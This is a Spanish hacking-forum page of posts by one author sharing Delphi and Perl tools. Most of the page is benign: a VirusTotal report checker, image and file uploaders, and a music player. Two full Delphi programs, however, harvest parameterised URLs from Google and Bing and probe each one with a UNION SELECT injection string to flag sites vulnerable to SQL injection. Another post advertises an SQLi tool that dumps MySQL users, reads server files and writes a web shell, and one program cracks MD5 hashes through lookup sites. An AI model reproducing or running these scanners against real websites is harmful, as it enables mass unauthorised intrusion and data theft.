elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [23] 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ... 55
221  Programación / Programación General / [Delphi] GoogleSearch 0.1 en: 7 Junio 2013, 18:29 pm
Un simple programa para buscar paginas vulnerables a SQLI usando Google.

Una imagen :



El codigo  :

Código
  1. // Google Search 0.1
  2. // Coded By Doddy H
  3.  
  4. unit goo;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, StdCtrls, sButton, sSkinManager, IdURI, sMemo, PerlRegEx,
  11.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, jpeg,
  12.   ExtCtrls, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi,
  13.   IdContext, IdCmdTCPClient;
  14.  
  15. type
  16.   TForm1 = class(TForm)
  17.     sSkinManager1: TsSkinManager;
  18.     IdHTTP1: TIdHTTP;
  19.     PerlRegEx1: TPerlRegEx;
  20.     PerlRegEx2: TPerlRegEx;
  21.     Image1: TImage;
  22.     sGroupBox1: TsGroupBox;
  23.     sLabel1: TsLabel;
  24.     sLabel2: TsLabel;
  25.     sEdit1: TsEdit;
  26.     sEdit2: TsEdit;
  27.     sGroupBox2: TsGroupBox;
  28.     sListBox1: TsListBox;
  29.     sGroupBox3: TsGroupBox;
  30.     sGroupBox4: TsGroupBox;
  31.     sListBox2: TsListBox;
  32.     sStatusBar1: TsStatusBar;
  33.     sButton1: TsButton;
  34.     sButton2: TsButton;
  35.     sButton3: TsButton;
  36.     sButton4: TsButton;
  37.     PerlRegEx3: TPerlRegEx;
  38.     procedure sButton1Click(Sender: TObject);
  39.     procedure FormCreate(Sender: TObject);
  40.     procedure sListBox1DblClick(Sender: TObject);
  41.     procedure sListBox2DblClick(Sender: TObject);
  42.     procedure sButton4Click(Sender: TObject);
  43.     procedure sButton3Click(Sender: TObject);
  44.     procedure sButton2Click(Sender: TObject);
  45.  
  46.   private
  47.     { Private declarations }
  48.   public
  49.     { Public declarations }
  50.   end;
  51.  
  52. var
  53.   Form1: TForm1;
  54.  
  55. implementation
  56.  
  57. {$R *.dfm}
  58.  
  59. procedure savefile(filename, texto: string);
  60. var
  61.   ar: TextFile;
  62.  
  63. begin
  64.  
  65.   AssignFile(ar, filename);
  66.   FileMode := fmOpenWrite;
  67.  
  68.   if FileExists(filename) then
  69.     Append(ar)
  70.   else
  71.     Rewrite(ar);
  72.  
  73.   Writeln(ar, texto);
  74.   CloseFile(ar);
  75.  
  76. end;
  77.  
  78. procedure TForm1.FormCreate(Sender: TObject);
  79. var
  80.   dir: string;
  81. begin
  82.  
  83.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  84.   sSkinManager1.SkinName := 'falloutstyle';
  85.   sSkinManager1.Active := True;
  86.  
  87.   dir := ExtractFilePath(Application.ExeName) + '/logs';
  88.  
  89.   if not(DirectoryExists(dir)) then
  90.   begin
  91.     CreateDir(dir);
  92.   end;
  93.  
  94.   ChDir(dir);
  95.  
  96. end;
  97.  
  98. procedure TForm1.sButton1Click(Sender: TObject);
  99. var
  100.   code: string;
  101.   link1: string;
  102.   link2: string;
  103.   linkfinal: string;
  104.   z: integer;
  105.   i: integer;
  106.   ii: integer;
  107.   target: string;
  108.   linkfinalfinal: string;
  109.   chau: TStringList;
  110.  
  111. begin
  112.  
  113.   target := StringReplace(sEdit1.text, ' ', '+', []);
  114.  
  115.   sListBox1.Items.Clear;
  116.  
  117.   for i := 1 to StrToInt(sEdit2.text) do
  118.   begin
  119.     ii := i * 10;
  120.  
  121.     sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
  122.     Form1.sStatusBar1.Update;
  123.  
  124.     code := IdHTTP1.Get('http://www.google.com/search?hl=&q=' + target +
  125.         '&start=' + IntToStr(ii));
  126.  
  127.     PerlRegEx1.Regex := '(?<="r"><. href=")(.+?)"';
  128.     PerlRegEx1.Subject := code;
  129.  
  130.     while PerlRegEx1.MatchAgain do
  131.     begin
  132.       for z := 1 to PerlRegEx1.SubExpressionCount do
  133.  
  134.         link1 := PerlRegEx1.SubExpressions[z];
  135.  
  136.       PerlRegEx2.Regex := '\/url\?q\=(.*?)\&amp\;';
  137.       PerlRegEx2.Subject := link1;
  138.  
  139.       if PerlRegEx2.Match then
  140.       begin
  141.         link2 := PerlRegEx2.SubExpressions[1];
  142.         linkfinal := TIdURI.URLDecode(link2);
  143.         sListBox1.Update;
  144.  
  145.         PerlRegEx3.Regex := '(.*?)=(.*?)';
  146.  
  147.         PerlRegEx3.Subject := linkfinal;
  148.  
  149.         if PerlRegEx3.Match then
  150.         begin
  151.           linkfinalfinal := PerlRegEx3.SubExpressions[1] + '=';
  152.           sListBox1.Items.Add(linkfinalfinal);
  153.         end;
  154.  
  155.       end;
  156.     end;
  157.   end;
  158.  
  159.   chau := TStringList.Create;
  160.  
  161.   chau.Duplicates := dupIgnore;
  162.   chau.Sorted := True;
  163.   chau.Assign(sListBox1.Items);
  164.   sListBox1.Items.Clear;
  165.   sListBox1.Items.Assign(chau);
  166.  
  167.   for i := sListBox1.Items.Count - 1 downto 0 do
  168.   begin
  169.     savefile('google-search.txt', sListBox1.Items[i]);
  170.   end;
  171.  
  172.   sStatusBar1.Panels[0].text := '[+] Done';
  173.   Form1.sStatusBar1.Update;
  174.  
  175. end;
  176.  
  177. procedure TForm1.sButton2Click(Sender: TObject);
  178. var
  179.   i: integer;
  180.   code: string;
  181.  
  182. begin
  183.  
  184.   sListBox2.Items.Clear;
  185.  
  186.   sStatusBar1.Panels[0].text := '[+] Loading ...';
  187.   Form1.sStatusBar1.Update;
  188.  
  189.   for i := sListBox1.Items.Count - 1 downto 0 do
  190.   begin
  191.     try
  192.       begin
  193.  
  194.         sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
  195.         Form1.sStatusBar1.Update;
  196.         sListBox2.Update;
  197.  
  198.         code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');
  199.  
  200.         PerlRegEx1.Regex :=
  201.           'The used SELECT statements have a different number of columns';
  202.         PerlRegEx1.Subject := code;
  203.  
  204.         if PerlRegEx1.Match then
  205.         begin
  206.           sListBox2.Items.Add(sListBox1.Items[i]);
  207.           savefile('sqli-founds.txt', sListBox1.Items[i]);
  208.         end;
  209.  
  210.       end;
  211.     except
  212.       on E: EIdHttpProtocolException do
  213.         ;
  214.       on E: Exception do
  215.         ;
  216.     end;
  217.  
  218.     sStatusBar1.Panels[0].text := '[+] Done';
  219.     Form1.sStatusBar1.Update;
  220.  
  221.   end;
  222.  
  223. end;
  224.  
  225. procedure TForm1.sButton3Click(Sender: TObject);
  226. begin
  227.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  228. end;
  229.  
  230. procedure TForm1.sButton4Click(Sender: TObject);
  231. begin
  232.   Form1.Close();
  233. end;
  234.  
  235. procedure TForm1.sListBox1DblClick(Sender: TObject);
  236. begin
  237.   ShellExecute(Handle, 'open', 'google-search.txt', nil, nil, SW_SHOWNORMAL);
  238. end;
  239.  
  240. procedure TForm1.sListBox2DblClick(Sender: TObject);
  241. begin
  242.   ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
  243. end;
  244.  
  245. end.
  246.  
  247. // The End ?
  248.  

Si quieren bajar el programa lo pueden hacer de aca.
222  Programación / Programación General / [Delphi] BingHack Tool 0.1 en: 31 Mayo 2013, 20:53 pm
Traduccion a delphi de este programa para buscar paginas vulnerables a SQLI usando bing.

Una imagen :



El codigo :

Código
  1. // BingHackTool 0.1
  2. // Coded By Doddy H
  3.  
  4. unit bing;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, StdCtrls, sButton, sMemo, sSkinManager, PerlRegEx, IdBaseComponent,
  11.   IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sEdit, sLabel, sGroupBox,
  12.   sListBox, ComCtrls, sStatusBar, ShellApi, jpeg, ExtCtrls;
  13.  
  14. type
  15.   TForm1 = class(TForm)
  16.     IdHTTP1: TIdHTTP;
  17.     PerlRegEx1: TPerlRegEx;
  18.     sSkinManager1: TsSkinManager;
  19.     PerlRegEx2: TPerlRegEx;
  20.     sGroupBox1: TsGroupBox;
  21.     sLabel1: TsLabel;
  22.     sEdit1: TsEdit;
  23.     sLabel2: TsLabel;
  24.     sEdit2: TsEdit;
  25.     sGroupBox2: TsGroupBox;
  26.     sListBox1: TsListBox;
  27.     sGroupBox3: TsGroupBox;
  28.     sListBox2: TsListBox;
  29.     sStatusBar1: TsStatusBar;
  30.     sGroupBox4: TsGroupBox;
  31.     sButton1: TsButton;
  32.     sButton2: TsButton;
  33.     sButton3: TsButton;
  34.     sButton4: TsButton;
  35.     Image1: TImage;
  36.     procedure sButton1Click(Sender: TObject);
  37.     procedure sButton4Click(Sender: TObject);
  38.     procedure sButton3Click(Sender: TObject);
  39.     procedure FormCreate(Sender: TObject);
  40.     procedure sButton2Click(Sender: TObject);
  41.     procedure sListBox1DblClick(Sender: TObject);
  42.     procedure sListBox2DblClick(Sender: TObject);
  43.  
  44.   private
  45.     { Private declarations }
  46.   public
  47.     { Public declarations }
  48.   end;
  49.  
  50. var
  51.   Form1: TForm1;
  52.  
  53. implementation
  54.  
  55. {$R *.dfm}
  56.  
  57. procedure savefile(filename, texto: string);
  58. var
  59.   ar: TextFile;
  60.  
  61. begin
  62.  
  63.   AssignFile(ar, filename);
  64.   FileMode := fmOpenWrite;
  65.  
  66.   if FileExists(filename) then
  67.     Append(ar)
  68.   else
  69.     Rewrite(ar);
  70.  
  71.   Writeln(ar, texto);
  72.   CloseFile(ar);
  73.  
  74. end;
  75.  
  76. procedure TForm1.FormCreate(Sender: TObject);
  77. var
  78.   dir: string;
  79. begin
  80.  
  81.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  82.   sSkinManager1.SkinName := 'falloutstyle';
  83.   sSkinManager1.Active := True;
  84.  
  85.   dir := ExtractFilePath(Application.ExeName) + '/logs';
  86.  
  87.   if not(DirectoryExists(dir)) then
  88.   begin
  89.     CreateDir(dir);
  90.   end;
  91.  
  92.   ChDir(dir);
  93.  
  94. end;
  95.  
  96. procedure TForm1.sButton1Click(Sender: TObject);
  97. var
  98.   code: string;
  99.   link1: string;
  100.   linkfinal: string;
  101.   z: integer;
  102.   i: integer;
  103.   ii: integer;
  104.   chau: TStringList;
  105.   target: string;
  106.  
  107. begin
  108.  
  109.   sListBox1.Items.Clear;
  110.  
  111.   target := StringReplace(sEdit1.text, ' ', '+', []);
  112.  
  113.   sStatusBar1.Panels[0].text := '[+] Loading ...';
  114.   Form1.sStatusBar1.Update;
  115.  
  116.   for i := 1 to StrToInt(sEdit2.text) do
  117.   begin
  118.     ii := i * 10;
  119.     sListBox1.Update;
  120.     sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
  121.     Form1.sStatusBar1.Update;
  122.  
  123.     code := IdHTTP1.Get('http://www.bing.com/search?q=' + target + '&first=' +
  124.         IntToStr(ii));
  125.  
  126.     PerlRegEx1.Regex := '<h3><a href="(.*?)"';
  127.     PerlRegEx1.Subject := code;
  128.  
  129.     while PerlRegEx1.MatchAgain do
  130.     begin
  131.       for z := 1 to PerlRegEx1.SubExpressionCount do
  132.         link1 := PerlRegEx1.SubExpressions[z];
  133.  
  134.       PerlRegEx2.Regex := '(.*?)=(.*?)';
  135.       PerlRegEx2.Subject := link1;
  136.  
  137.       if PerlRegEx2.Match then
  138.       begin
  139.         linkfinal := PerlRegEx2.SubExpressions[1] + '=';
  140.         sListBox1.Items.Add(linkfinal);
  141.       end;
  142.     end;
  143.   end;
  144.  
  145.   chau := TStringList.Create;
  146.  
  147.   chau.Duplicates := dupIgnore;
  148.   chau.Sorted := True;
  149.   chau.Assign(sListBox1.Items);
  150.   sListBox1.Items.Clear;
  151.   sListBox1.Items.Assign(chau);
  152.  
  153.   for i := sListBox1.Items.Count - 1 downto 0 do
  154.   begin
  155.     savefile('bing-search.txt', sListBox1.Items[i]);
  156.   end;
  157.  
  158.   sStatusBar1.Panels[0].text := '[+] Done';
  159.   Form1.sStatusBar1.Update;
  160.  
  161. end;
  162.  
  163. procedure TForm1.sButton2Click(Sender: TObject);
  164. var
  165.   i: integer;
  166.   code: string;
  167.  
  168. begin
  169.  
  170.   sListBox2.Items.Clear;
  171.  
  172.   sStatusBar1.Panels[0].text := '[+] Loading ...';
  173.   Form1.sStatusBar1.Update;
  174.  
  175.   for i := sListBox1.Items.Count - 1 downto 0 do
  176.   begin
  177.     try
  178.       begin
  179.  
  180.         sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
  181.         Form1.sStatusBar1.Update;
  182.         sListBox2.Update;
  183.         code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');
  184.  
  185.         PerlRegEx1.Regex :=
  186.           'The used SELECT statements have a different number of columns';
  187.         PerlRegEx1.Subject := code;
  188.  
  189.         if PerlRegEx1.Match then
  190.         begin
  191.           sListBox2.Items.Add(sListBox1.Items[i]);
  192.           savefile('sqli-founds.txt', sListBox1.Items[i]);
  193.         end;
  194.  
  195.       end;
  196.     except
  197.       on E: EIdHttpProtocolException do
  198.         ;
  199.       on E: Exception do
  200.         ;
  201.     end;
  202.  
  203.     sStatusBar1.Panels[0].text := '[+] Done';
  204.     Form1.sStatusBar1.Update;
  205.  
  206.   end;
  207.  
  208. end;
  209.  
  210. procedure TForm1.sButton3Click(Sender: TObject);
  211. begin
  212.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  213. end;
  214.  
  215. procedure TForm1.sButton4Click(Sender: TObject);
  216. begin
  217.   Form1.Close();
  218. end;
  219.  
  220. procedure TForm1.sListBox1DblClick(Sender: TObject);
  221. begin
  222.   ShellExecute(Handle, 'open', 'bing-search.txt', nil, nil, SW_SHOWNORMAL);
  223. end;
  224.  
  225. procedure TForm1.sListBox2DblClick(Sender: TObject);
  226. begin
  227.   ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
  228. end;
  229.  
  230. end.
  231.  
  232. // The End ?
  233.  

Si quieren bajar el programa pueden hacerlo de aca.
223  Programación / Programación General / [Delphi] K0bra 1.0 en: 26 Mayo 2013, 02:15 am
Traduccion a Delphi de este programa para scannear paginas vulnerables a SQLI.

Con las siguiente opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

Unas imagenes :











Si quieren bajar el programa lo pueden hacer de aca.
224  Programación / Programación General / [Delphi] MD5 Cracker 0.1 en: 20 Mayo 2013, 03:58 am
Un simple programa para crackear un hash MD5 hecho en Delphi.

Una imagen :



El codigo :

Código
  1. // MD5 Cracker 0.1
  2. // Coded By Doddy H
  3. // Based on the services :
  4. // http://md5.hashcracking.com/
  5. // http://md5.rednoize.com
  6. // http://md52.altervista.org
  7.  
  8. unit md5;
  9.  
  10. interface
  11.  
  12. uses
  13.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.   Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sGroupBox, jpeg, ExtCtrls,
  15.   ComCtrls, sStatusBar, IdBaseComponent, IdComponent, IdTCPConnection,
  16.   IdTCPClient, IdHTTP, PerlRegEx;
  17.  
  18. type
  19.   TForm1 = class(TForm)
  20.     sSkinManager1: TsSkinManager;
  21.     Image1: TImage;
  22.     sGroupBox1: TsGroupBox;
  23.     sEdit1: TsEdit;
  24.     sGroupBox2: TsGroupBox;
  25.     sEdit2: TsEdit;
  26.     sGroupBox3: TsGroupBox;
  27.     sStatusBar1: TsStatusBar;
  28.     Crack: TsButton;
  29.     sButton1: TsButton;
  30.     sButton2: TsButton;
  31.     sButton3: TsButton;
  32.     IdHTTP1: TIdHTTP;
  33.     PerlRegEx1: TPerlRegEx;
  34.     procedure sButton2Click(Sender: TObject);
  35.     procedure sButton3Click(Sender: TObject);
  36.     procedure CrackClick(Sender: TObject);
  37.     procedure sButton1Click(Sender: TObject);
  38.     procedure FormCreate(Sender: TObject);
  39.   private
  40.     { Private declarations }
  41.   public
  42.     { Public declarations }
  43.   end;
  44.  
  45. var
  46.   Form1: TForm1;
  47.  
  48. implementation
  49.  
  50. {$R *.dfm}
  51.  
  52. procedure TForm1.CrackClick(Sender: TObject);
  53. var
  54.   rta: string;
  55.  
  56. begin
  57.  
  58.   sStatusBar1.Panels[0].text := '[+] Searching in md5.hashcracking.com ...';
  59.   Form1.sStatusBar1.Update;
  60.  
  61.   rta := IdHTTP1.Get
  62.     ('http://md5.hashcracking.com/search.php?md5=' + sEdit1.text);
  63.  
  64.   PerlRegEx1.Regex := 'Cleartext of (.*) is (.*)';
  65.   PerlRegEx1.Subject := rta;
  66.   if PerlRegEx1.Match then
  67.   begin
  68.     sEdit2.text := PerlRegEx1.SubExpressions[2];
  69.     sStatusBar1.Panels[0].text := '[+] Done';
  70.     Form1.sStatusBar1.Update;
  71.   end
  72.   else
  73.   begin
  74.  
  75.     sStatusBar1.Panels[0].text := '[+] Searching in md5.rednoize.com ...';
  76.     Form1.sStatusBar1.Update;
  77.  
  78.     rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' + sEdit1.text);
  79.  
  80.     PerlRegEx1.Regex := '<div id=\"result\" >(.*)<\/div>';
  81.     PerlRegEx1.Subject := rta;
  82.     if PerlRegEx1.Match then
  83.  
  84.     begin
  85.  
  86.       if not(Length(PerlRegEx1.SubExpressions[1]) = 32) then
  87.       begin
  88.         sEdit2.text := PerlRegEx1.SubExpressions[1];
  89.         sStatusBar1.Panels[0].text := '[+] Done';
  90.         Form1.sStatusBar1.Update;
  91.       end
  92.       else
  93.  
  94.       begin
  95.  
  96.         sStatusBar1.Panels[0].text :=
  97.           '[+] Searching in md52.altervista.org ...';
  98.         Form1.sStatusBar1.Update;
  99.  
  100.         rta := IdHTTP1.Get
  101.           ('http://md52.altervista.org/index.php?md5=' + sEdit1.text);
  102.  
  103.         PerlRegEx1.Regex :=
  104.           '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
  105.         PerlRegEx1.Subject := rta;
  106.  
  107.         if PerlRegEx1.Match then
  108.         begin
  109.           sEdit2.text := PerlRegEx1.SubExpressions[1];
  110.           sStatusBar1.Panels[0].text := '[+] Done';
  111.           Form1.sStatusBar1.Update;
  112.  
  113.         end
  114.         else
  115.         begin
  116.           sEdit2.text := '';
  117.           sStatusBar1.Panels[0].text := '[-] Not Found';
  118.           Form1.sStatusBar1.Update;
  119.         end;
  120.       end;
  121.  
  122.     end;
  123.   end;
  124.  
  125. end;
  126.  
  127. procedure TForm1.FormCreate(Sender: TObject);
  128. begin
  129.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  130.   sSkinManager1.SkinName := 'neonnight';
  131.   sSkinManager1.Active := True;
  132. end;
  133.  
  134. procedure TForm1.sButton1Click(Sender: TObject);
  135. begin
  136.   sEdit2.SelectAll;
  137.   sEdit2.CopyToClipboard;
  138. end;
  139.  
  140. procedure TForm1.sButton2Click(Sender: TObject);
  141. begin
  142.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  143. end;
  144.  
  145. procedure TForm1.sButton3Click(Sender: TObject);
  146. begin
  147.   Form1.Close();
  148. end;
  149.  
  150. end.
  151.  
  152. // The End ?
  153.  

Si quieren bajar el programa lo pueden hacer de aca.
225  Programación / Scripting / Re: [Perl] VirusTotal Scanner 0.1 en: 17 Mayo 2013, 18:43 pm
Cita de: Shell Root en 17 Mayo 2013, 06:44 am
La verdad no entiendo para que traduces algo de un lenguaje a otro...

si , es porque siempre me gusta programar en los lenguajes que conozco que son Perl,Python,Ruby,PHP,Delphi,C,Java y proximamente C#.
226  Programación / Scripting / Re: [Perl] VirusTotal Scanner 0.1 en: 16 Mayo 2013, 22:23 pm
Cita de: Danyfirex en 16 Mayo 2013, 21:49 pm
Gracias muy bueno el código.  ;-)


PD: no escanea un archivo. Retorna el reporte de un archivo ya escaneado.

saludos

si , me exprese mal.
227  Programación / Scripting / [Perl] VirusTotal Scanner 0.1 en: 16 Mayo 2013, 19:21 pm
Un simple script para scannear un archivo mediante el API de virustotal , la idea se me ocurrio cuando vi este script en python hecho por Sanko del foro Underc0de.

Una imagen :



Código
  1. #!usr/bin/perl
  2. #VirusTotal Scanner 0.1
  3. #Coded By Doddy H
  4. #ppm install http://www.bribes.org/perl/ppm/JSON.ppd
  5. #ppm install http://trouchelle.com/ppm/Digest-MD5-File.ppd
  6. #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
  7. #ppm install http://trouchelle.com/ppm/Color-Output.ppd
  8.  
  9. use JSON;
  10. use Digest::MD5::File qw(file_md5_hex);
  11. use LWP::UserAgent;
  12. use Color::Output;
  13. Color::Output::Init;
  14.  
  15. my $nave = LWP::UserAgent->new;
  16. $nave->agent(
  17. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  18. );
  19. $nave->timeout(5);
  20.  
  21. my $api_key = "yourapi"
  22.   ;    #Your API Key
  23.  
  24. head();
  25.  
  26. unless ( $ARGV[0] ) {
  27.     printear( "[+] Sintax : $0 <file to scan>", "text", "11", "5" );
  28.  
  29.     copyright();
  30.     exit(1);
  31. }
  32. else {
  33.  
  34.     unless ( -f $ARGV[0] ) {
  35.         printear( "\n[-] File Not Found\n", "text", "5", "5" );
  36.         copyright();
  37.     }
  38.  
  39.     my $md5 = file_md5_hex( $ARGV[0] );
  40.  
  41.     printear( "\n[+] Checking ...\n", "text", "7", "5" );
  42.  
  43.     my $code = tomar(
  44.         "https://www.virustotal.com/vtapi/v2/file/report",
  45.         { "resource" => $md5, "apikey" => $api_key }
  46.     );
  47.  
  48.     if ( $code =~ /"response_code": 0/ ) {
  49.         printear( "\n[+] Not Found\n", "text", "7", "5" );
  50.         exit(1);
  51.     }
  52.  
  53.     my $dividir = decode_json $code;
  54.  
  55.     printear( "[+] Getting data ...\n", "text", "7", "5" );
  56.  
  57.     printear( "[+] Scan ID : " . $dividir->{scan_id},     "text", "13", "5" );
  58.     printear( "[+] Scan Date : " . $dividir->{scan_date}, "text", "13", "5" );
  59.     printear( "[+] Permalink : " . $dividir->{permalink}, "text", "13", "5" );
  60.     printear(
  61.         "[+] Virus Founds : " . $dividir->{positives} . "/" . $dividir->{total},
  62.         "text", "13", "5"
  63.     );
  64.  
  65.     printear( "\n[+] Getting list ...\n", "text", "7", "5" );
  66.  
  67.     my %abrir = %{ $dividir->{scans} };
  68.  
  69.     for my $antivirus ( keys %abrir ) {
  70.  
  71.         if ( $abrir{$antivirus}{"result"} eq "" ) {
  72.             printear( "[+] " . $antivirus . " : Clean", "text", "11", "5" );
  73.         }
  74.         else {
  75.             printear(
  76.                 "[+] " . $antivirus . " : " . $abrir{$antivirus}{"result"},
  77.                 "text", "5", "5" );
  78.         }
  79.     }
  80.  
  81.     printear( "\n[+] Finished\n", "text", "7", "5" );
  82.     copyright();
  83.  
  84. }
  85.  
  86. sub head {
  87.     printear( "\n-- == VirusTotal Scanner 0.1 == --\n", "text", "13", "5" );
  88. }
  89.  
  90. sub copyright {
  91.     printear( "\n[+] Written By Doddy H", "text", "13", "5" );
  92.     exit(1);
  93. }
  94.  
  95. sub printear {
  96.     if ( $_[1] eq "text" ) {
  97.         cprint( "\x03" . $_[2] . $_[0] . "\x030\n" );
  98.     }
  99.     elsif ( $_[1] eq "stdin" ) {
  100.         if ( $_[3] ne "" ) {
  101.             cprint( "\x03" . $_[2] . $_[0] . "\x030" . "\x03" . $_[3] );
  102.             my $op = <stdin>;
  103.             chomp $op;
  104.             cprint("\x030");
  105.             return $op;
  106.         }
  107.     }
  108.     else {
  109.         print "error\n";
  110.     }
  111. }
  112.  
  113. sub tomar {
  114.     my ( $web, $var ) = @_;
  115.     return $nave->post( $web, [ %{$var} ] )->content;
  116. }
  117.  
  118. #The End ?
  119.  
228  Programación / Scripting / [Perl] Imageshack Uploader 0.1 en: 14 Mayo 2013, 20:11 pm
Un simple script para subir imagenes a Imageshack.

El codigo :

Código
  1. #!usr/bin/perl
  2. #Imageshack Uploader 0.1
  3. #Coded By Doddy H
  4. #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
  5.  
  6. use LWP::UserAgent;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12. $nave->timeout(5);
  13.  
  14. head();
  15.  
  16. unless ( $ARGV[0] ) {
  17.     print "\n[+] Sintax : $0 <image>\n";
  18. }
  19. else {
  20.  
  21.     my $your_key = "YOURKEY";    #Your API Key
  22.  
  23.     print "\n[+] Uploading ...\n";
  24.  
  25.     my $code = $nave->post(
  26.         "https://post.imageshack.us/upload_api.php",
  27.         Content_Type => "form-data",
  28.         Content      => [
  29.             key        => $your_key,
  30.             fileupload => [ $ARGV[0] ],
  31.             format     => "json"
  32.         ]
  33.     )->content;
  34.  
  35.     if ( $code =~ /"image_link":"(.*?)"/ ) {
  36.         print "\n[+] Link : " . $1 . "\n";
  37.     }
  38.     else {
  39.         print "\n[-] Error\n";
  40.     }
  41. }
  42.  
  43. copyright();
  44.  
  45. sub head {
  46.     print "\n-- == Imageshack Uploader 0.1 == --\n";
  47. }
  48.  
  49. sub copyright {
  50.     print "\n[+] Written By Doddy H\n";
  51. }
  52.  
  53. #The End ?
  54.  
229  Programación / Scripting / [Perl] AnonFiles Uploader en: 14 Mayo 2013, 00:13 am
Traduccion a Perl del programa hecho por $DoC llamado AnonFiles Uploader hecho para subir archivos a la pagina AnonFiles.

Código
  1. #!usr/bin/perl
  2. #AnonFiles Uploader
  3. #Original author: $ DoC
  4. #Translations made by Doddy H
  5. #
  6. #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
  7. #
  8.  
  9. use LWP::UserAgent;
  10.  
  11. my $nave = LWP::UserAgent->new;
  12. $nave->agent(
  13. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  14. );
  15. $nave->timeout(5);
  16.  
  17. unless ( $ARGV[0] ) {
  18.     print "\n[+] Sintax : $0 <file>\n";
  19. }
  20. else {
  21.  
  22.     print "\n[+] Uploading ...\n";
  23.  
  24.     my $code = $nave->post(
  25.         "https://anonfiles.com/api?plain",
  26.         Content_Type => "form-data",
  27.         Content      => [ file => [ $ARGV[0] ] ]
  28.     )->content;
  29.  
  30.     if ( $code =~ /https:\/\/anonfiles\.com\/file\// ) {
  31.         print "\n[+] Link : " . $code . "\n";
  32.     }
  33.     else {
  34.         print "\n[-] Error\n";
  35.     }
  36.  
  37. }
  38.  
  39. #The End ?
  40.  
230  Programación / Programación General / [Delphi] DH Player 0.1 en: 13 Mayo 2013, 23:40 pm
Un simple reproductor de musica que hice basado en este articulo.

Una imagen :



El codigo :

Código
  1. // DH Player 0.1
  2. // Coded By Doddy H
  3. // Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm
  4.  
  5. unit mp3player;
  6.  
  7. interface
  8.  
  9. uses
  10.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  11.   Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
  12.   ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit;
  13.  
  14. type
  15.   TForm1 = class(TForm)
  16.     sSkinManager1: TsSkinManager;
  17.     sGroupBox1: TsGroupBox;
  18.     sListBox1: TsListBox;
  19.     sGroupBox2: TsGroupBox;
  20.     MediaPlayer1: TMediaPlayer;
  21.     Image1: TImage;
  22.     sGroupBox3: TsGroupBox;
  23.     sProgressBar1: TsProgressBar;
  24.     PopupMenu1: TPopupMenu;
  25.     L1: TMenuItem;
  26.     R1: TMenuItem;
  27.     A1: TMenuItem;
  28.     E1: TMenuItem;
  29.     Directory: TsGroupBox;
  30.     sEdit1: TsEdit;
  31.     Timer1: TTimer;
  32.     procedure A1Click(Sender: TObject);
  33.     procedure E1Click(Sender: TObject);
  34.     procedure R1Click(Sender: TObject);
  35.     procedure L1Click(Sender: TObject);
  36.     procedure Timer1Timer(Sender: TObject);
  37.     procedure sListBox1DblClick(Sender: TObject);
  38.     procedure FormCreate(Sender: TObject);
  39.  
  40.   private
  41.     { Private declarations }
  42.   public
  43.     { Public declarations }
  44.   end;
  45.  
  46. var
  47.   Form1: TForm1;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure TForm1.A1Click(Sender: TObject);
  54. begin
  55.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  56. end;
  57.  
  58. procedure TForm1.E1Click(Sender: TObject);
  59. begin
  60.   Form1.Close();
  61. end;
  62.  
